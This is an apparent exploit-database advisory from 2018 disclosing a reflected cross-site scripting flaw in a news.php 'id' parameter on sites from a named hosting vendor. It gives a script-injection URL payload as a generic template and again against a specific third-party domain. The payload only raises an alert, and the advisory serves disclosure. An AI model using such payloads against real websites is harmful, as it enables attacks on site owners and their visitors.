# Exploit Title: Cross Site Scripting in " Web services and hosting by ArkansasWeb.com " #----------------------------------------------------------------------------------------- # Exploit Author: Mehdi Razmjoo ( razmjumehdi@gmail.com ) #----------------------------------------------------------------------------------------- # Date: 2018.4.07 #----------------------------------------------------------------------------------------- # Vendor Homepage: http://www.arkansasweb.com #----------------------------------------------------------------------------------------- # CWE: CWE-79 #----------------------------------------------------------------------------------------- # Category: Web Application #----------------------------------------------------------------------------------------- #Dork: - #----------------------------------------------------------------------------------------- # Vulnerability Path: http://Server/news.php?id=3 #----------------------------------------------------------------------------------------- #Tested On: Kali Linux 2018.1_64x ( Firefox ) #----------------------------------------------------------------------------------------- # Description: # # The vulnerability allow attackers to execute Javascript command through URL, like this: # # http://Server/news.php?id=[X]"><script>alert("XSS")</script> # #----------------------------------------------------------------------------------------- # http://www.jmtv.com/news.php?id=3"><script>alert("XSS")</script>